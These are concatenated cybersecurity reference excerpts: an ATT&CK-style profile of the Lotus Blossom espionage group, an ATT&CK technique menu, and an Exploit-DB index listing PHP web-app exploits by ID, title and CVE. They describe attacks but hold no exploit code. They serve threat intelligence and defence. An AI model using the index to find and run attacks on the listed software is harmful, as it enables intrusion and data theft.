Active Directory queries.[2] Enterprise T File and Directory Discovery Lotus Blossom has used commands such as dir to examine the local filesystem of victim machines.[3] Enterprise T Modify Registry Lotus Blossom has installed tools such as Sagerunex by writing them to the Windows registry.[3] Enterprise T Network Service Discovery Lotus Blossom has used port scanners to enumerate services on remote hosts.[2] Enterprise T . Obtain Capabilities: Tool Lotus Blossom has used publicly-available tools such as a Python-based cookie stealer for Chrome browsers, Impacket, and the Venom proxy tool.[3] Enterprise T . Proxy: Internal Proxy Lotus Blossom has used publicly available tools such as the Venom proxy tool to proxy traffic out of victim environments.[3] . Proxy: Multi-hop Proxy Lotus Blossom has used tools such as the publicly available HTran tool for proxying traffic in victim environments.[3] Enterprise T Query Registry Lotus Blossom has run commands such as reg query HKLM\SYSTEM\CurrentControlSet\Services\[service name]\Parameters to verify if installed implants are running as a service.[3] Enterprise T Remote System Discovery Lotus Blossom has used Ping to identify remote systems.[2] Enterprise T Steal Web Session Cookie Lotus Blossom has used publicly-available tools to steal cookies from browsers such as Chrome.[3] Enterprise T System Network Configuration Discovery Lotus Blossom has used commands such as ipconfig and netstat to gather network information on compromised hosts.[3] . Internet Connection Discovery Lotus Blossom has performed checks to determine if a victim machine is able to access the Internet.[3] Enterprise T System Network Connections Discovery Lotus Blossom has used commands such as netstat to identify system network connections.[3] Enterprise T Windows Management Instrumentation Lotus Blossom has used WMI to enable lateral movement.[3] Software ID Name References Techniques S AdFind Lotus Blossom has used AdFind to query Active Directory in victim environments.[2] Account Discovery: Domain Account, Domain Trust Discovery, Permission Groups Discovery: Domain Groups, Remote System Discovery, System Network Configuration Discovery S certutil Lotus Blossom has used certutil during operations.[2] Archive Collected Data: Archive via Utility, Deobfuscate/Decode Files or Information, Ingress Tool Transfer, Subvert Trust Controls: Install Root Certificate S Elise Lotus Blossom has used Elise.[5][4] Account Discovery: Local Account, Application Layer Protocol: Web Protocols, Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder, Create or Modify System Process: Windows Service, Data Encoding: Standard Encoding, Data Staged: Local Data Staging, Encrypted Channel: Symmetric Cryptography, File and Directory Discovery, Indicator Removal: Timestomp, Indicator Removal: File Deletion, Ingress Tool Transfer, Masquerading: Match Legitimate Resource Name or Location, Obfuscated Files or Information: Encrypted/Encoded File, Process Discovery, Process Injection: Dynamic-link Library Injection, System Binary Proxy Execution: Rundll32, System Information Discovery, System Network Configuration Discovery, System Service Discovery S Emissary Lotus Blossom has used Emissary.[7][8] Application Layer Protocol: Web Protocols, Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder, Command and Scripting Interpreter: Windows Command Shell, Create or Modify System Process: Windows Service, Encrypted Channel: Symmetric Cryptography, Group Policy Discovery, Ingress Tool Transfer, Obfuscated Files or Information: Encrypted/Encoded File, Obfuscated Files or Information: Binary Padding, Permission Groups Discovery: Local Groups, Process Injection: Dynamic-link Library Injection, System Binary Proxy Execution: Rundll32, System Information Discovery, System Network Configuration Discovery, System Service Discovery S Hannotog Hannotog is a backdoor associated with Lotus Blossom operations.[2] Automated Exfiltration, Command and Scripting Interpreter: Windows Command Shell, Create or Modify System Process: Windows Service, Impair Defenses: Disable or Modify System Firewall, Ingress Tool Transfer, Non-Standard Port, Service Stop S Impacket Lotus Blossom has used Impacket during operations.[3] Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay, Lateral Tool Transfer, Network Sniffing, OS Credential Dumping: NTDS, OS Credential Dumping: LSASS Memory, OS Credential Dumping: Security Account Manager, OS Credential Dumping: LSA Secrets, Steal or Forge Kerberos Tickets: Kerberoasting, Steal or Forge Kerberos Tickets: Ccache Files, System Services: Service Execution, Windows Management Instrumentation S NBTscan Lotus Blossom has used NBTscan during operations.[2] Network Service Discovery, Network Sniffing, Remote System Discovery, System Network Configuration Discovery, System Owner/User Discovery S Ping Lotus Blossom has used Ping to verify connectivity to remote hosts.[2] Remote System Discovery S Sagerunex Lotus Blossom is the exclusive user of Sagerunex, and has employed variants of this in operations since 2016.[2][3] Access Token Manipulation, Application Layer Protocol: Web Protocols, Archive Collected Data: Archive via Utility, Data Staged: Local Data Staging, Deobfuscate/Decode Files or Information, Encrypted Channel: Asymmetric Cryptography, Execution Guardrails, Exfiltration Over C2 Channel, Native API, Obfuscated Files or Information: Encrypted/Encoded File, Obfuscated Files or Information: Software Packing, Process Discovery, Process Injection: Dynamic-link Library Injection, Proxy, System Information Discovery, System Network Configuration Discovery, Web Service: One-Way Communication, Web Service: Bidirectional Communication References - Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016. - Symntec Threat Hunter Team. (2022, November 12). Billbug: State-sponsored Actor Targets Cert Authority, Government Agencies in Multiple Asian Countries. Retrieved March 15, 2025. - Joey Chen, Cisco Talos. (2025, February 27). Lotus Blossom espionage group targets multiple industries with different versions of Sagerunex and hacking tools. Retrieved March 15, 2025. - Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS’ MEETING AND ASSOCIATES. Retrieved November 17, 2024. - Baumgartner, K.. (2015, June 17). The Spring Dragon APT. Retrieved February 15, 2016. - Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023. - Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016. - Falcone, R. and Miller-Osborn, J. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016. × load more results
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versions_v17_groups_G0030.txt
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Currently viewing ATT&CK v9.0 which was live between April 29, 2021 and October 20, 2021. Learn more about the versioning system or see the live site. TECHNIQUES Enterprise Reconnaissance Active Scanning Scanning IP Blocks Vulnerability Scanning Gather Victim Host Information Hardware Software Firmware Client Configurations Gather Victim Identity Information Credentials Email Addresses Employee Names Gather Victim Network Information Domain Properties DNS Network Trust Dependencies Network Topology IP Addresses Network Security Appliances Gather Victim Org Information Determine Physical Locations Business Relationships Identify Business Tempo Identify Roles Phishing for Information Spearphishing Service Spearphishing Attachment Spearphishing Link Search Closed Sources Threat Intel Vendors Purchase Technical Data Search Open Technical Databases DNS/Passive DNS WHOIS Digital Certificates CDNs Scan Databases Search Open Websites/Domains Social Media Search Engines Search Victim-Owned Websites Resource Development Acquire Infrastructure Domains DNS Server Virtual Private Server Server Botnet Web Services Compromise Accounts Social Media Accounts Email Accounts Compromise Infrastructure Domains DNS Server Virtual Private Server Server Botnet Web Services Develop Capabilities Malware Code Signing Certificates Digital Certificates Exploits Establish Accounts Social Media Accounts Email Accounts Obtain Capabilities Malware Tool Code Signing Certificates Digital Certificates Exploits Vulnerabilities Stage Capabilities Upload Malware Upload Tool Install Digital Certificate Drive-by Target Link Target Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Phishing Spearphishing Attachment Spearphishing Link Spearphishing via Service Replication Through Removable Media Supply Chain Compromise Compromise Software Dependencies and Development Tools Compromise Software Supply Chain Compromise Hardware Supply Chain Trusted Relationship Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Execution Command and Scripting Interpreter PowerShell AppleScript Windows Command Shell Unix Shell Visual Basic Python JavaScript Network Device CLI Container Administration Command Deploy Container Exploitation for Client Execution Inter-Process Communication Component Object Model Dynamic Data Exchange Native API Scheduled Task/Job At (Linux) At (Windows) Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Shared Modules Software Deployment Tools System Services Launchctl Service Execution User Execution Malicious Link Malicious File Malicious Image Windows Management Instrumentation Persistence Account Manipulation Additional Cloud Credentials Exchange Email Delegate Permissions Add Office 365 Global Administrator Role SSH Authorized Keys BITS Jobs Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Plist Modification Print Processors XDG Autostart Entries Active Setup Boot or Logon Initialization Scripts Logon Script (Windows) Logon Script (Mac) Network Logon Script RC Scripts Startup Items Browser Extensions Compromise Client Software Binary Create Account Local Account Domain Account Cloud Account Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription Unix Shell Configuration Modification Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking External Remote Services Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER Implant Internal Image Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Office Application Startup Office Template Macros Office Test Outlook Forms Outlook Home Page Outlook Rules Add-ins Pre-OS Boot System Firmware Component Firmware Bootkit ROMMONkit TFTP Boot Scheduled Task/Job At (Linux) At (Windows) Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Server Software Component SQL Stored Procedures Transport Agent Web Shell Traffic Signaling Port Knocking Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Privilege Escalation Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Account Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Plist Modification Print Processors XDG Autostart Entries Active Setup Boot or Logon Initialization Scripts Logon Script (Windows) Logon Script (Mac) Network Logon Script RC Scripts Startup Items Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Domain Policy Modification Group Policy Modification Domain Trust Modification Escape to Host Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription Unix Shell Configuration Modification Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking Exploitation for Privilege Escalation Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Hollowing Process Doppelgänging VDSO Hijacking Scheduled Task/Job At (Linux) At (Windows) Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Defense Evasion Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Account Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection BITS Jobs Build Image on Host Deobfuscate/Decode Files or Information Deploy Container Direct Volume Access Domain Policy Modification Group Policy Modification Domain Trust Modification Execution Guardrails Environmental Keying Exploitation for Defense Evasion File and Directory Permissions Modification Windows File and Directory Permissions Modification Linux and Mac File and Directory Permissions Modification Hide Artifacts Hidden Files and Directories Hidden Users Hidden Window NTFS File Attributes Hidden File System Run Virtual Instance VBA Stomping Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER Impair Defenses Disable or Modify Tools Disable Windows Event Logging Impair Command History Logging Disable or Modify System Firewall Indicator Blocking Disable or Modify Cloud Firewall Disable Cloud Logs Indicator Removal on Host Clear Windows Event Logs Clear Linux or Mac System Logs Clear Command History File Deletion Network Share Connection Removal Timestomp Indirect Command Execution Masquerading Invalid Code Signature Right-to-Left Override Rename System Utilities Masquerade Task or Service Match Legitimate Name or Location Space after Filename Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Modify Cloud Compute Infrastructure Create Snapshot Create Cloud Instance Delete Cloud Instance Revert Cloud Instance Modify Registry Modify System Image Patch System Image Downgrade System Image Network Boundary Bridging Network Address Translation Traversal Obfuscated Files or Information Binary Padding Software Packing Steganography Compile After Delivery Indicator Removal from Tools Pre-OS Boot System Firmware Component Firmware Bootkit ROMMONkit TFTP Boot Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Hollowing Process Doppelgänging VDSO Hijacking Rogue Domain Controller Rootkit Signed Binary Proxy Execution Compiled HTML File Control Panel CMSTP InstallUtil Mshta Msiexec Odbcconf Regsvcs/Regasm Regsvr Rundll Verclsid Signed Script Proxy Execution PubPrn Subvert Trust Controls Gatekeeper Bypass Code Signing SIP and Trust Provider Hijacking Install Root Certificate Mark-of-the-Web Bypass Code Signing Policy Modification Template Injection Traffic Signaling Port Knocking Trusted Developer Utilities Proxy Execution MSBuild Unused/Unsupported Cloud Regions Use Alternate Authentication Material Application Access Token Pass the Hash Pass the Ticket Web Session Cookie Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Virtualization/Sandbox Evasion System Checks User Activity Based Checks Time Based Evasion Weaken Encryption Reduce Key Space Disable Crypto Hardware XSL Script Processing Credential Access Brute Force Password Guessing Password Cracking Password Spraying Credential Stuffing Credentials from Password Stores Keychain Securityd Memory Credentials from Web Browsers Windows Credential Manager Password Managers Exploitation for Credential Access Forced Authentication Forge Web Credentials Web Cookies SAML Tokens Input Capture Keylogging GUI Input Capture Web Portal Capture Credential API Hooking Man-in-the-Middle LLMNR/NBT-NS Poisoning and SMB Relay ARP Cache Poisoning Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Network Sniffing OS Credential Dumping LSASS Memory Security Account Manager NTDS LSA Secrets Cached Domain Credentials DCSync Proc Filesystem /etc/passwd and /etc/shadow Steal Application Access Token Steal or Forge Kerberos Tickets Golden Ticket Silver Ticket Kerberoasting AS-REP Roasting Steal Web Session Cookie Two-Factor Authentication Interception Unsecured Credentials Credentials In Files Credentials in Registry Bash History Private Keys Cloud Instance Metadata API Group Policy Preferences Container API Discovery Account Discovery Local Account Domain Account Email Account Cloud Account Application Window Discovery Browser Bookmark Discovery Cloud Infrastructure Discovery Cloud Service Dashboard Cloud Service Discovery Container and Resource Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Local Groups Domain Groups Cloud Groups Process Discovery Query
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versions_v9_techniques_T1548_002.txt
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Scripting (XSS)",,,, 46881,exploits/php/webapps/46881.txt,"Moodle Jmol Filter 6.1 - Directory Traversal / Cross-Site Scripting",2019-05-21,"Dionach Ltd",webapps,php,,2019-05-21,2019-05-21,0,,Traversal,,,, 51115,exploits/php/webapps/51115.txt,"Moodle LMS 4.0 - Cross-Site Scripting (XSS)",2023-03-28,"Saud Alenazi",webapps,php,,2023-03-28,2023-03-28,0,,,,,, 4951,exploits/php/webapps/4951.txt,"Mooseguy Blog System 1.0 - 'month' SQL Injection",2008-01-21,The_HuliGun,webapps,php,,2008-01-20,2016-11-14,1,OSVDB-40959;CVE-2008-0424,,,,http://www.exploit-db.commgbs_1.0.zip, 27871,exploits/php/webapps/27871.txt,"mooSocial 1.3 - Multiple Vulnerabilities",2013-08-26,Esac,webapps,php,,2013-08-26,2013-08-26,0,OSVDB-96633;OSVDB-96632;OSVDB-96631;OSVDB-96630;OSVDB-96629;OSVDB-96628;OSVDB-96627;OSVDB-96626;OSVDB-96625;OSVDB-96624,,,,, 51670,exploits/php/webapps/51670.txt,"mooSocial 3.1.8 - Reflected XSS",2023-08-08,CraCkEr,webapps,php,,2023-08-08,2023-08-08,1,CVE-2023-4173,,,,, 45330,exploits/php/webapps/45330.txt,"mooSocial Store Plugin 2.6 - SQL Injection",2018-09-04,"Andrea Bocchetti",webapps,php,,2018-09-04,2018-09-06,0,,"SQL Injection (SQLi)",,,, 9121,exploits/php/webapps/9121.php,"Morcego CMS 1.7.6 - Blind SQL Injection",2009-07-10,darkjoker,webapps,php,,2009-07-09,,1,OSVDB-55796;CVE-2009-3713,,,,, 2394,exploits/php/webapps/2394.php,"more.groupware 0.74 - 'new_calendarid' SQL Injection",2006-09-19,x128,webapps,php,,2006-09-18,2016-09-09,1,OSVDB-29017;CVE-2006-4906,,,,http://www.exploit-db.commoregroupware-core-0.7.4.tar.gz, 22948,exploits/php/webapps/22948.txt,"MoreGroupWare 0.6.8 - WEBMAIL2_INC_DIR Remote File Inclusion",2003-07-21,"phil dunn",webapps,php,,2003-07-21,2012-11-27,1,,,,,,https://www.securityfocus.com/bid/8249/info 6763,exploits/php/webapps/6763.txt,"Mosaic Commerce - 'cid' SQL Injection",2008-10-16,"Ali Abbasi",webapps,php,,2008-10-15,2016-12-29,1,OSVDB-49197;CVE-2008-4599,,,,, 28310,exploits/php/webapps/28310.txt,"Moskool 1.5 Component - 'Admin.Moskool.php' Remote File Inclusion",2006-07-31,saudi.unix,webapps,php,,2006-07-31,2013-09-15,1,CVE-2006-3967;OSVDB-29073,,,,,https://www.securityfocus.com/bid/19245/info 38152,exploits/php/webapps/38152.txt,"MotoCMS - 'admin/data/users.xml' Access Restriction / Information Disclosure",2013-01-08,AkaStep,webapps,php,,2013-01-08,2019-03-28,1,,,,,,https://www.securityfocus.com/bid/57055/info 51504,exploits/php/webapps/51504.txt,"MotoCMS Version 3.4.3 - SQL Injection",2023-06-04,tmrswrr,webapps,php,,2023-06-04,2023-06-04,1,,,,,, 27454,exploits/php/webapps/27454.txt,"Motorola - BlueTooth Interface Dialog Spoofing",2006-03-22,kspecial,webapps,php,,2006-03-22,2014-01-02,1,CVE-2006-1367;OSVDB-24038,,,,,https://www.securityfocus.com/bid/17190/info 35160,exploits/php/webapps/35160.txt,"Mouse Media Script 1.6 - Persistent Cross-Site Scripting",2014-11-05,"Halil Dalabasmaz",webapps,php,,2014-11-12,2014-11-12,1,OSVDB-114656,,,,, 22151,exploits/php/webapps/22151.txt,"Movable Type Pro 5.13en - Persistent Cross-Site Scripting",2012-10-22,sqlhacker,webapps,php,,2012-10-22,2012-10-22,0,CVE-2012-1503;OSVDB-86729,,,,, 48316,exploits/php/webapps/48316.txt,"MOVEit Transfer 11.1.1 - 'token' Unauthenticated SQL Injection",2020-04-13,"Aviv Beniash",webapps,php,,2020-04-13,2020-11-23,0,CVE-2019-16383,,,,, 43346,exploits/php/webapps/43346.txt,"Movie Guide 2.0 - SQL Injection",2017-12-15,"Ihsan Sencan",webapps,php,80,2017-12-15,2017-12-15,1,,"SQL Injection (SQLi)",,,http://www.exploit-db.comAM_Movie_Guide.tar.gz, 8871,exploits/php/webapps/8871.txt,"Movie PHP Script 2.0 - 'init.php?anticode' Code Execution",2009-06-03,SirGod,webapps,php,,2009-06-02,,1,OSVDB-54883;CVE-2009-4836,,,,, 41155,exploits/php/webapps/41155.txt,"Movie Portal Script 7.36 - Multiple Vulnerabilities",2017-01-25,"Marc Castejon",webapps,php,,2017-01-25,2017-01-25,0,,,,,, 50621,exploits/php/webapps/50621.py,"Movie Rating System 1.0 - Broken Access Control (Admin Account Creation) (Unauthenticated)",2022-01-05,Tagoletta,webapps,php,,2022-01-05,2022-01-05,0,,,,,, 50622,exploits/php/webapps/50622.py,"Movie Rating System 1.0 - SQLi to RCE (Unauthenticated)",2022-01-05,Tagoletta,webapps,php,,2022-01-05,2022-01-05,0,,,,,, 27337,exploits/php/webapps/27337.txt,"Mozilla Thunderbird 1.5 - Multiple Remote Information Disclosure Vulnerabilities",2006-02-28,Crashfr,webapps,php,,2006-02-28,2013-08-05,1,CVE-2006-1045;OSVDB-24681,,,,,https://www.securityfocus.com/bid/16881/info 6194,exploits/php/webapps/6194.pl,"moziloCMS 1.10.1 - 'download.php' Arbitrary Download File",2008-08-02,Ams,webapps,php,,2008-08-01,,1,OSVDB-47327;CVE-2008-3589,,,,, 8394,exploits/php/webapps/8394.txt,"moziloCMS 1.11 - Local File Inclusion / Full Path Disclosure / Cross-Site Scripting",2009-04-10,SirGod,webapps,php,,2009-04-09,2016-12-15,1,OSVDB-54907;CVE-2009-4209;OSVDB-54906;OSVDB-54905;OSVDB-54891;CVE-2009-1369;OSVDB-48644;CVE-2009-1368;CVE-2009-1367;CVE-2008-6126,,,,, 48781,exploits/php/webapps/48781.txt,"moziloCMS 2.0 - Persistent Cross-Site Scripting (Authenticated)",2020-09-01,"Abdulkadir Kaya",webapps,php,,2020-09-01,2020-09-01,0,,,,,, 52096,exploits/php/webapps/52096.NA,"MoziloCMS 3.0 - Remote Code Execution (RCE)",2025-03-27,"Olakojo Olaoluwa Joshua",webapps,php,,2025-03-27,2025-04-13,0,CVE-2024-44871,,,,, 3761,exploits/php/webapps/3761.txt,"Mozzers SubSystem final - 'subs.php' Remote Code Execution",2007-04-18,Dj7xpl,webapps,php,,2007-04-17,2016-09-30,1,OSVDB-42404;CVE-2007-2169,,,,http://www.exploit-db.comSubSystem-final1-ns.zip, 12219,exploits/php/webapps/12219.txt,"Mp3 Online Id Tag Editor - Remote File Inclusion",2010-04-14,indoushka,webapps,php,,2010-04-13,,0,,,,,, 4650,exploits/php/webapps/4650.txt,"Mp3 ToolBox 1.0 Beta 5 - 'skin_file' Remote File Inclusion",2007-11-23,Crackers_Child,webapps,php,,2007-11-22,2016-10-20,1,OSVDB-39681;CVE-2007-6139,,,,http://www.exploit-db.commp3_toolbox_beta-5.zip, 2666,exploits/php/webapps/2666.txt,"mp3SDS 3.0 - '/Core/core.inc.php' Remote File Inclusion",2006-10-28,"Mehmet Ince",webapps,php,,2006-10-27,,1,OSVDB-30110;CVE-2006-5613,,,,, 34586,exploits/php/webapps/34586.txt,"Mpay24 PrestaShop Payment Module 1.5 - Multiple Vulnerabilities",2014-09-08,Wireghoul,webapps,php,80,2014-09-08,2019-03-04,0,CVE-2014-2009;OSVDB-110737;CVE-2014-2008,,,,, 48433,exploits/php/webapps/48433.txt,"MPC Sharj 3.11.1 - Arbitrary File Download",2020-05-06,SajjadBnd,webapps,php,,2020-05-06,2020-05-06,0,,,,,, 28032,exploits/php/webapps/28032.txt,"MPCS 0.2 - 'comment.php' Cross-Site Scripting",2006-03-06,Luny,webapps,php,,2006-03-06,2013-09-03,1,CVE-2006-3191;OSVDB-27506,,,,,https://www.securityfocus.com/bid/18470/info 2653,exploits/php/webapps/2653.txt,"MPCS 1.0 - 'path' Remote File Inclusion",2006-10-26,v1per-haCker,webapps,php,,2006-10-25,,1,OSVDB-30075;CVE-2006-5624;OSVDB-30074,,,,, 18248,exploits/php/webapps/18248.pl,"mPDF 5.3 - File Disclosure",2011-12-16,ZadYree,webapps,php,,2011-12-16,2011-12-16,0,OSVDB-77939;CVE-2011-5219,,,,, 50995,exploits/php/webapps/50995.py,"mPDF 7.0 - Local File Inclusion",2022-08-01,"Musyoka Ian",webapps,php,,2022-08-01,2022-08-01,0,,,,,, 3503,exploits/php/webapps/3503.txt,"MPM Chat 2.5 - 'view.php?logi' Local File Inclusion",2007-03-17,GoLd_M,webapps,php,,2007-03-16,2016-09-27,1,OSVDB-34278;CVE-2007-1613,,,,http://www.exploit-db.commpm_chat_25.zip, 23208,exploits/php/webapps/23208.txt,"mpnews pro 2.1.0.18 - Directory Traversal Information Disclosure",2003-10-01,"Gama Sec",webapps,php,,2003-10-01,2012-12-08,1,OSVDB-2633,,,,,https://www.securityfocus.com/bid/8744/info 45692,exploits/php/webapps/45692.txt,"MPS Box 0.1.8.0 - 'uuid' SQL Injection",2018-10-25,"Ihsan Sencan",webapps,php,80,2018-10-25,2018-10-25,0,,"SQL Injection (SQLi)",,,http://www.exploit-db.commpsbox_beta_0.1.8.0.tar.gz, 45699,exploits/php/webapps/45699.txt,"MPS Box 0.1.8.0 - Arbitrary File Upload",2018-10-26,"Ihsan Sencan",webapps,php,,2018-10-26,2018-10-26,0,,,,,, 30921,exploits/php/webapps/30921.txt,"MRBS 1.2.x - 'view_entry.php' SQL Injection",2007-12-21,root@hanicker.it,webapps,php,,2007-12-21,2014-01-14,1,CVE-2007-6538;OSVDB-39619,,,,,https://www.securityfocus.com/bid/26977/info 8685,exploits/php/webapps/8685.txt,"MRCGIGUY Amazon Directory 1.0/2.0 - Insecure Cookie Handling",2009-05-14,TiGeR-Dz,webapps,php,,2009-05-13,,1,OSVDB-54519,,,,, 8682,exploits/php/webapps/8682.txt,"MRCGIGUY ClickBank Directory 1.0.1 - Insecure Cookie Handling",2009-05-14,TiGeR-Dz,webapps,php,,2009-05-13,,1,OSVDB-54521,,,,, 8926,exploits/php/webapps/8926.txt,"mrcgiguy freeticket - Cookie Handling / SQL Injection",2009-06-10,"ThE g0bL!N",webapps,php,,2009-06-09,,1,,,,,, 8918,exploits/php/webapps/8918.txt,"MRCGIGUY Hot Links - 'report.php?id' SQL Injection",2009-06-09,"ThE g0bL!N",webapps,php,,2009-06-08,,1,,,,,, 8684,exploits/php/webapps/8684.txt,"MRCGIGUY Hot Links SQL 3.2.0 - Insecure Cookie Handling",2009-05-14,TiGeR-Dz,webapps,php,,2009-05-13,,1,OSVDB-54520,,,,, 8686,exploits/php/webapps/8686.txt,"MRCGIGUY Message Box 1.0 - Insecure Cookie Handling",2009-05-14,TiGeR-Dz,webapps,php,,2009-05-13,,1,OSVDB-54518,,,,, 8692,exploits/php/webapps/8692.txt,"MRCGIGUY SimpLISTic SQL 2.0.0 - Insecure Cookie Handling",2009-05-14,"ThE g0bL!N",webapps,php,,2009-05-13,,1,,,,,, 8687,exploits/php/webapps/8687.txt,"MRCGIGUY The Ticket System 2.0 - Insecure Cookie Handling",2009-05-14,TiGeR-Dz,webapps,php,,2009-05-13,,1,OSVDB-54517,,,,, 8917,exploits/php/webapps/8917.txt,"mrcgiguy the ticket system 2.0 PHP - Multiple Vulnerabilities",2009-06-09,"ThE g0bL!N",webapps,php,,2009-06-08,,1,OSVDB-56649;CVE-2009-2639;OSVDB-55018;CVE-2009-2080,,,,, 9086,exploits/php/webapps/9086.txt,"MRCGIGUY Thumbnail Gallery Post 1b - Arbitrary File Upload",2009-07-09,"ThE g0bL!N",webapps,php,,2009-07-08,,1,,,,,, 8694,exploits/php/webapps/8694.txt,"MRCGIGUY Top Sites 1.0.0 - Insecure Cookie Handling",2009-05-14,"ThE g0bL!N",webapps,php,,2009-05-13,,1,,,,,, 8688,exploits/php/webapps/8688.txt,"MRCGIGUY Ultimate Profit Portal 1.0.1 - Insecure Cookie Handling",2009-05-14,TiGeR-Dz,webapps,php,,2009-05-13,,1,OSVDB-54516,,,,, 11431,exploits/php/webapps/11431.txt,"MRW PHP Upload - Arbitrary File Upload",2010-02-13,Phenom,webapps,php,,2010-02-12,,1,,,,,http://www.exploit-db.comphp_luke_mrw_upload.zip, 45062,exploits/php/webapps/45062.txt,"MSVOD 10 - 'cid' SQL Injection",2018-07-20,Hzllaga,webapps,php,,2018-07-20,2018-07-23,0,CVE-2018-14418,"SQL Injection (SQLi)",,,, 46739,exploits/php/webapps/46739.html,"Msvod 10 - Cross-Site Request Forgery (Change User Information)",2019-04-22,ax8,webapps,php,80,2019-04-22,2019-04-22,0,CVE-2019-11375,"Cross-Site Request Forgery (CSRF)",,,, 36009,exploits/php/webapps/36009.txt,"mt LinkDatenbank - 'b' Cross-Site Scripting",2011-08-03,Err0R,webapps,php,,2011-08-03,2015-02-07,1,,,,,,https://www.securityfocus.com/bid/48967/info 3005,exploits/php/webapps/3005.pl,"MTCMS 2.0 - '/admin/admin_settings.php' Remote File Inclusion",2006-12-25,nuffsaid,webapps,php,,2006-12-24,,1,OSVDB-32485;CVE-2006-6796,,,,, 4882,exploits/php/webapps/4882.txt,"MTCMS 2.0 - SQL Injection",2008-01-10,"Virangar Security",webapps,php,,2008-01-09,,1,OSVDB-40340;CVE-2008-0280,,,,, 45717,exploits/php/webapps/45717.txt,"MTGAS MOGG Web Simulator Script - SQL Injection",2018-10-29,"Meisam Monsef",webapps,php,80,2018-10-29,2018-10-29,1,,"SQL Injection (SQLi)",,,http://www.exploit-db.commtgas-master.zip, 24545,exploits/php/webapps/24545.txt,"MTP Guestbook 1.0 - Multiple Cross-Site Scripting Vulnerabilities",2013-02-26,LiquidWorm,webapps,php,,2013-02-26,2013-02-27,1,,,,,,http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5131.php 24544,exploits/php/webapps/24544.txt,"MTP Image Gallery 1.0 - 'edit_photos.php?title' Cross-Site Scripting",2013-02-26,LiquidWorm,webapps,php,,2013-02-26,2013-02-27,1,OSVDB-90640,,,,,http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5130.php 24546,exploits/php/webapps/24546.txt,"MTP Poll 1.0 - Multiple Cross-Site Scripting Vulnerabilities",2013-02-26,LiquidWorm,webapps,php,,2013-02-26,2013-02-28,1,OSVDB-90641;OSVDB-90637;OSVDB-90636,,,,,http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5132.php 9314,exploits/php/webapps/9314.txt,"MUJE CMS 1.0.4.34 - Local File 